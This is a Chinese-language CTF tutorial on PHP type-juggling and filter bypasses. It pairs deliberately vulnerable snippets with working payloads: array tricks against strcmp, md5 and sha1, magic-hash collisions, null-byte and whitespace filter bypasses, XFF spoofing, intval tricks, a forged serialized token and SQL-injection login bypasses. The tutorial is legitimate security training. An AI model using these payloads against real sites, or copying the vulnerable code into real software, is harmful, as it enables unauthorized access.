PHP 入门基础漏洞
Drunkbaby Lv6

PHP 入门基础漏洞

0x01 前言

这篇文章还是讲一讲黑魔法为主。基于 php_bugs 来学习吧,也听一些师傅说了,如果不是为了打 CTF,根本没必要学 PHP 了,今天是 2022-8-29;正好 Java 学不进去,过一遍 PHP

0x02 PHP 基础函数与特性

file_get_contents

file_get_contents() 把整个文件读入一个字符串中。

  • 举个例子
1
2
3
<?php  
echo file_get_contents("test.txt");
?>

上面的代码将输出:

1
This is a test file with test text.

isset

isset() 函数用于检测变量是否已设置并且非 NULL。

语法

1
bool isset ( mixed $var [, mixed $... ] )

参数说明:

  • $var:要检测的变量。

如果一次传入多个参数,那么 isset() 只有在全部参数都被设置时返回 TRUE,计算过程从左至右,中途遇到没有设置的变量时就会立即停止。

  • 举个栗子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php $var = ''; // 结果为 TRUE,所以后边的文本将被打印出来。 

if (isset($var)) { echo "变量已设置。" . PHP_EOL; }

// 在后边的例子中,我们将使用 var_dump 输出 isset() 的返回值。
// the return value of isset().

$a = "test"; $b = "anothertest"; var_dump(isset($a)); // TRUE

var_dump(isset($a, $b)); // TRUE

unset ($a); var_dump(isset($a)); // FALSE

var_dump(isset($a, $b)); // FALSE


$foo = NULL;
var_dump(isset($foo)); // FALSE ?>

返回值

如果指定变量存在且不为 NULL,则返回 TRUE,否则返回 FALSE。

extract

extract() 函数从数组中将变量导入到当前的符号表。

语法

1
extract(_array,extract_rules,prefix_)

trim

移除字符串两侧的字符(”Hello” 中的 “He”以及 “World” 中的 “d!”):

1
<?php $str = "Hello World!"; echo $str . PHP_EOL; echo trim($str,"Hed!"); ?>

ereg/preg_match

1
**mb_ereg**(字符串`$pattern`,字符串`$string`,数组 `&$matches` = **`null`**):bool

执行与多字节支持的正则表达式匹配。

返回值是 true 或者 false

strcmp

用法

1
2
3
4
5
6
7
8
9
10
11
12
strcmp(str1, str2)
if(str1 < str2) {
return < 0;
}

else if (str1 > str2) {
return > 0;
}

else {
return 0;
}

意思是,我们如果使用了 strcmp() 函数,就必须要传入两个变量 ———— str1,str2。

如果 str1 < str2,则返回 < 0;若 str1 > str2,则返回 > 0;如果两者相等,返回 0。

现在我们回来看上面这段源代码,很显然,如果这是一道题目,我们不可能知道 FLAG 是多少,所以无法做到让两者相等,这时候就有了我们很重要的绕过特性!

  • strcmp() 比较出错的时候 —-> 返回 NULL;而返回 NULL 即为返回 0,这时候我们就可以得到 Flag ~

0x03 PHP 常见黑魔法

如果要用一句话概括一下黑魔法的成因,我喜欢把它称之为 PHP 原生特点。

在 PHP 当中,我们在类型比较的过程中会产生很多的奇特现象,正是由于这一些奇特现象,会产生一些成功的绕过手段。

1. strcmp 的绕过

  • 这里我们先看这样的一段代码:

Strcmp.php

1
2
3
4
5
6
7
8
<?php

define('FLAG', 'DrunkCTF{this_is_arrayCompare_flag}');
if (strcmp($_GET['flag'], FLAG) == 0) {
echo "success, flag:" . FLAG;
}

?>

此处 $_GET['flag'] 的意思是从 url 中获取到一个名叫 flag 的 GET 参数。

然后来看我们现在要讲的关键函数 strcmp()

它的用法应该是这样的

1
2
3
4
5
6
7
8
9
10
11
12
strcmp(str1, str2)
if(str1 < str2) {
return < 0;
}

else if (str1 > str2) {
return > 0;
}

else {
return 0;
}

意思是,我们如果使用了 strcmp() 函数,就必须要传入两个变量 ———— str1,str2。

如果 str1 < str2,则返回 < 0;若 str1 > str2,则返回 > 0;如果两者相等,返回 0。

现在我们回来看上面这段源代码,很显然,如果这是一道题目,我们不可能知道 FLAG 是多少,所以无法做到让两者相等,这时候就有了我们很重要的绕过特性!

  • strcmp() 比较出错的时候 —-> 返回 NULL;而返回 NULL 即为返回 0,这时候我们就可以得到 Flag ~

绕过手段我们先讲 payload,再来讲原理;payload:

1
?flag[]=0

成功,如图

原理很简单;?flag[]=0 的意思也就是,我传入的变量名为 flag,但是这个 flag 是一个数组类型的变量,数组怎么可能可以和字符串比较呢?所以此处比较出错,成功返回 NULL,也就是返回 0

2. md5 比较绕过

题目代码如下:

1
2
3
4
5
6
<?php
define('FLAG', 'DrunkCTF{you_bypass_md5!}');
if (($_GET['s1']) != $_GET['s2'] && md5($_GET['s1']) == $_GET['s2']) {
echo "success, flag is :" . FLAG;
}
?>

简单来说,我们的逻辑就是 s1 和 s2 不能相等,但是它们的 md5 值要相等;于是就有了如下两种绕过手段。

绕过一

用科学计数法绕过

‘0e123456789’ == ‘0e987654321’ == 0

以下值在md5加密后以0E开头:

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a
  • s214587387a
  • s214587387a
  • 0e215962017(这个用的非常多

payload 如下

1
md5.php?s1=QNKCDZO&s2=240610708

绕过二

通过数组绕过,也叫数组 trick

原理:

1
md5([1,2,3]) == md5([4,5,6]) == NULL

所以我们的 payload:

1
md5.php?s1[]=1&s2[]=2

3. extract 变量覆盖绕过

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$flag='xxx';
extract($_GET);
if(isset($shiyan)) {
$content=trim(file_get_contents($flag));
if($shiyan==$content) {
echo'ctf{xxx}';
}
else {
echo'Oh.no';
}
}

?>

这里需要实现$shiyan==$content$content来源于file_get_contents($flag),而这个file_get_contents函数是把文件的信息打印出来,我们这个flag是个变量,他取值必定不是文件名,因此这里content变量的值为空,此时无论怎么写flag,content都为空,我们只需要保证shiyan也为空就可以,构造payload如下

1
flag=123&shiyan=

4. 绕过过滤的空白字符

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
show_source(__FILE__);
$info = "";
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";

ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告

if(!isset($_GET['number'])){
header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt

die("have a fun!!"); //die — 等同于 exit()

}

foreach([$_GET, $_POST] as $global_var) { //foreach 语法结构提供了遍历数组的简单方式
foreach($global_var as $key => $value) {
$value = trim($value); //trim — 去除字符串首尾处的空白字符(或者其他字符)
is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
}
}


function is_palindrome_number($number) {
$number = strval($number); //strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 获取字符串长度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}


if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串
{

$info="sorry, you cann't input a number!";

}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{

$info = "number must be equal to it's integer!! ";

}
else
{

$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));

if($value1!=$value2){
$info="no, this is not a palindrome number!";
}
else
{

if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}
else
{
$info=$flag;
}
}

}

echo $info;

我们这里可以分段代码审计一下

首先告诉我们需要传进去一个 GET 请求的参数,名为 number;

1
2
3
4
5
6
7
if(!isset($_GET['number'])){

header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt

die("have a fun!!"); //die — 等同于 exit()

}

往下看

1
2
3
4
5
6
7
8
9
10
11
foreach([$_GET, $_POST] as $global_var) { //foreach 语法结构提供了遍历数组的简单方式

foreach($global_var as $key => $value) {

$value = trim($value); //trim — 去除字符串首尾处的空白字符(或者其他字符)

is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串

}

}

这里的代码不难,读取到我们所有的 GET 请求与 POST 请求的参数,进行循环,然后把这个参数里面的空格去掉,这就是过滤空白字符了。

继续往下看 is_palindrome_number() 函数,用来判断是否为回文数。

后续是判断关键,总结一下有以下四个条件

1
2
3
4
1、if(is_numeric($_REQUEST['number'])) 这个条件需要为假,才能继续往下运行 
2、要求$req['number']==strval(intval($req['number']))
3、要求intval($req["number"])==intval(strrev($req["number"]));//strrev函数作用是反转字符串
4、 if(is_palindrome_number($req["number"]))这个条件需要为假,才能输出flag

第一个条件,这里我们不能输入 ?number=1,要不然进不到后续的代码逻辑上,通过 ?number=%001 可以绕过

针对
$req['number']==strval(intval($req['number']))
的话,它这个相当于是不让变量中有字符串,只能有数字时才符合条件,这个是怎么知道的呢,当然是本地测试

1
2
3
4
5
6
7
8
<?php 

show_source(__FILE__);
$a=addslashes(trim($_GET['a']));
$b=strval(intval($a));
var_dump($a==$b);

?>

一般的话肯定考虑一个空格给它绕过,但是这段代码里传入的变量都经过了 trim 函数,trim 函数过滤了很多空白字符

一般的话当然是没办法了,但是这里还有一个%0c,也就是\f未被过滤,因此这里我们可以用它来进行绕过,我们本地试也可以发现它是符合条件的

现在来看第三个条件 intval($req["number"])==intval(strrev($req["number"]));,这个 strrev 函数的作用是反转字符串,这里的话也就是要求数字是回文数,比如 131,这个时候反转一下还是 131,此时就可以满足条件了

来看最后一个,让 if(is_palindrome_number($req["number"])) 条件为假,这个函数定义如下

这个函数当它是回文数时就会正确,因此看似是与条件三矛盾的,但想到还有空白字符,用它的时候同时写回文数,此时是不是就可以成功绕过呢

我们尝试 payload

1
?number=%00%0c131

成功 getflag

5. ereg/preg_match 正则 %00 截断

  • 源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 

$flag = "flag";

if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>

这里的话有三个条件

1
2
3
1if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === TRUE)
2、(strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
3if (strpos ($_GET['password'], '*-*') !== FALSE)

第一个,就是匹配里面要有字母与数字,没事;
第二个比较要动脑,要求我们的密码值大于 9999999,但是不得超过 8 位,你细品;
第三个让password中包含*-*,这与第一点相悖了,思考这个绕过。

第一个先不考虑,直接看第二个,第二个的绕过很简单,用科学计数法即可。

payload:

1
?password=1e10

第三个条件这里,要与第一个相结合的绕过:

我们知道当语句遇到%00的时候就会认为是休止符,不再往后看,我们如果在password中添加%00,再添加这个字符串,是不是就可以成功绕过呢,我们构造 payload 如下进行尝试

1
?password=1e10%00*-*

成功绕过

6. sha()函数比较绕过

源代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

$flag = "flag";

if (isset($_GET['name']) and isset($_GET['password']))
{
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else
echo '<p>Login first!</p>';
?>
  • 这里的逻辑简单看一下,很简单,看着就好绕过;要求是传入的 username 和 password 不能相同,但是它们经过 sha1() 算法之后的值要相同。

sha1 算法加密的同样是字符串,那就意味着当值为数组时同样会报错,如果我们让两个都报错,那么他们肯定是同种类型的 Null,此时就可以绕过,正常的话我们会构造 payload 如下

1
name[]=1&password[]=2

7. session 验证绕过

源代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 08 SESSION验证绕过

<?php

$flag = "flag";

session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>

条件是 $_GET['password'] == $_SESSION['password'],这里 session 中的 password 是不存在的,需要我们自己传值,那我们如果不传的话不就为 Null 了吗,此时我们的 GET 传 password 也传个空,此时两者是不是就相等了呢,我们尝试一下

payload:

1
?password=

8. urldecode 二次编码绕过

  • 原代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(eregi("hackerDJ",$_GET['id'])) {
echo("<p>not allowed!</p>");
exit();
}

$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>

写的和那啥一样,一塌糊涂,这里我修改了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 10 urldecode二次编码绕过

<?php

$id = $_GET['id'];

if(preg_match("hackerDJ",$id)) {
echo("<p>not allowed!</p>");
$flag=false;
}
if ($flag === true) {
$m = urldecode($id);
if($m == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
}
?>

这样逻辑是对的

代码逻辑:获取 GET 请求中的 id 参数,判断 id 参数是否与 “hackerDJ” 相同,如果相同,寄。
如果不相同,继续往下看,判断 url 编码后 的 id 变量是否与 “hackerDJ” 相同,这个地方需要对 id 的值进行二次编码,因为第一次编码传进去的会经过一次解码,所以会编程 hackDJ;所以我们的 payload 如下

1
?id=%2568%2561%2563%256b%2544%254a

这道题还是有点二,算了,就当是二次编码的一个学习吧。

9. X-Forwarded-For 绕过指定 IP 地址

这个有点意思,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
$cip = $_SERVER["REMOTE_ADDR"];
else
$cip = "0.0.0.0";
return $cip;
}

$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! flag is ctf{*********}";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
?>

做这道题之前不妨先了解一下HTTP_CLIENT_IPX_FORWARDED_FORREMOTE_ADDR

HTTP_CLIENT_IP 是代理服务器发送的HTTP头

1
HTTP_CLIENT_IP 是代理服务器发送的HTTP头,HTTP_CLIENT_IP确实存在于http请求的header里。

X_FORWARDED_FOR

简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP
代理或者负载均衡服务器时才会添加该项,正如上面所述,当你使用了代理时,web服务器就不知道你的真实IP了,为了避免这个情况,代理服务器通常会增加一个叫做x_forwarded_for的头信息,把连接它的客户端IP(即你的上网机器IP)加到这个头信息里,这样就能保证网站的web服务器能获取到真实IP

REMOTE_ADDR

表示发出请求的远程主机的 IP
地址,remote_addr代表客户端的IP,但它的值不是由客户端提供的,而是服务端根据客户端的ip指定的,当你的浏览器访问某个网站时,假设中间没有任何代理,那么网站的web服务器(Nginx,Apache等)就会把remote_addr设为你的机器IP,如果你用了某个代理,那么你的浏览器会先访问这个代理,然后再由这个代理转发到网站,这样web服务器就会把remote_addr设为这台代理机器的IP

简单的总结一下就是

1
2
3
$_SERVER['REMOTE_ADDR']; //访问端(有可能是用户,有可能是代理的)IP
$_SERVER['HTTP_CLIENT_IP']; //代理端的(有可能存在,可伪造)
$_SERVER['HTTP_X_FORWARDED_FOR']; //用户是在哪个IP使用的代理(有可能存在,也可以伪造)

尝试伪造 XFF 头来进行绕过

10. intval 函数

  • 这里有四块内容,慢慢讲

int intval(var,base) 的特性

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
  • 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
  • 将使用 10 进制 (decimal)。

intval 四舍五入绕过

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}

?>

绕如其名

整体看过后,发现重点大致是这几句

1
2
3
1$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
2if($_GET[id]==1024)

第二个语句是$_GET[id]不等于1024时才往下执行,但好端端的为什么要提到这个1024呢,往下运行是输出查询结果,这是不是间接的说明id为1024时对应的内容为flag呢,因此我们这里去构造一个1024即可,但等于1024又无法往下运行,这个时候就关注到了查询语句中是$id,而$idintval($_GET[id]),因此这里就可以用intval的几个特性来绕过了

从官方例子中也可以看出,小数点后不计,那我们这里传值1024.2,在查询时不也是1024吗,而且后面检测是否为1024时还可以绕过检测,因此最终payload为

1
id=1024.2

绕 preg_match 正则

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
?>

0 - 9 都被过滤了,所以要用数组来绕过

payload:

1
num[]=1

绕某个具体数字

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

这关的话就是要求变量值不能为4476,但用过intval函数后为4476,这里的话我们首先需要知道intval的第二个参数为0时的意思是什么

根据这张图绕过

看到这里的话就可以看出payload就有多种构造方法了

1
2
3
4
5
6
7
8
num=4476e123
//这里就跟上面那个单引号的1e10情况一样,此时只看字母前面的
num=4476.1
//计算int值时,后面有小数点会直接舍去
num=0x117c
//0x表明是十六进制数,117c是4476的十六进制数
num=010574
//0表明是八进制数,10574是4476的八进制数

payload:

1
?number=010574

终极绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
?>

这道题的话看着几乎是防死了,多过滤了.,这就意味着小数点绕过行不通,此时我们看到这个i修饰符,想到那个m修饰符,此时就想起来有个换行符%0a,它对实际输出没影响,它还可以绕过上面的那些函数,因此我们这里构造如下语句,就实现了绕过,由于小数点不能用,这里就用八进制

1
num=%0a010574

11. 十六进制与数字比较

0x04 结合 SQL

1. token 伪造

  • 源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
//把一个或多个数组合并为一个数组
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
//函数执行一条 MySQL 查询。
return @mysql_fetch_array($sql);
//从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
}
}

if(isset($requset['token']))
//测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
//gzuncompress:进行字符串压缩
//unserialize: 将已序列化的字符串还原回 PHP 的值

$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
//mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}

?>

重点的话有以下几处,分别是输出 flag 的地方

1
2
3
4
if($login['user'] === 'ichunqiu')
{
echo $flag;
}

这就要求 $login['user']ichunqiu,其次就是它的加密

1
2
3
4
5
6
if(isset($requset['token']))
//测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
//gzuncompress:进行字符串压缩
//unserialize: 将已序列化的字符串还原回 PHP 的值
  • 感觉这个绕过就非常简单了,修改 Cookie 里面的 token 就好了。

写个简单的 EXP 绕一下

1
2
3
4
5
6
7
<?php 

$a=array(['user']==='ichunqiu');
$user =base64_encode(gzcompress(serialize($a)));
echo $user;

?>

2. 密码 md5 比较绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

//配置数据库
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}

//赋值

$user = $_POST[user];
$pass = md5($_POST[pass]);

//sql语句

// select pw from php where user='' union select 'e10adc3949ba59abbe56e057f20f883e' #

// ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];

if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {

//如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。


echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");

}
}
?>

条件是 if (($row[pw]) && (!strcasecmp($pass, $row[pw]))),而这个 $row[pw] 是从根据SQL语句从数据库中查询出来的,因此前面这个也就是说要在数据库中存在这个 SQL 语句对应的密码,而后面的就是校验了,看你输入的密码与数据库是否匹配,这个时候就想到了 union select 可以自己创一行数据

本地测试如下图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
mysql> select * from users where username='' union select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users ;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)

从两个查询语句中可以看出,这个union select查询的语句明显是不存在在数据表中的,它取决于我们union select后面输入的东西的

1
2
3
4
5
6
7
mysql> select * from users where username='' union select 1,2,database();
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | security |
+----+----------+----------+
1 row in set (0.00 sec)

那么如果我们用union select的话,这是不是就意味着password可控呢

1
2
3
4
5
6
7
mysql> select * from users where username='' union select 1,2,123456;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 123456 |
+----+----------+----------+
1 row in set (0.00 sec)

此时查询结果,取出password,那肯定就是123456了,由于密码提交的时候有$pass = md5($_POST[pass]);,所以我们提交123456,到检验时中就变成了e10adc3949ba59abbe56e057f20f883e(md5加密后的123456),那我们这个时候不就无法做到对应了吗,不过我们是不是可以把md5加密后的密码放到SQL语句中呢,这样比对的时候不就一致了吗,因此构造payload如下

1
user=' union select 1,2,'e10adc3949ba59abbe56e057f20f883e' # &password=123456

3. sql闭合绕过

简单的警号绕过,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php


if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("*******", "****", "****");
mysql_select_db("****") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);

//select user from php where (user='admin')#

//exp:admin')#

$sql = "select user from php where (user='$user') and (pw='$pass')";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if($row['user']=="admin") {
echo "<p>Logged in! Key: *********** </p>";
}

if($row['user'] != "admin") {
echo("<p>You are not admin!</p>");
}
}

?>

payload:

1
username=admin')#
 评论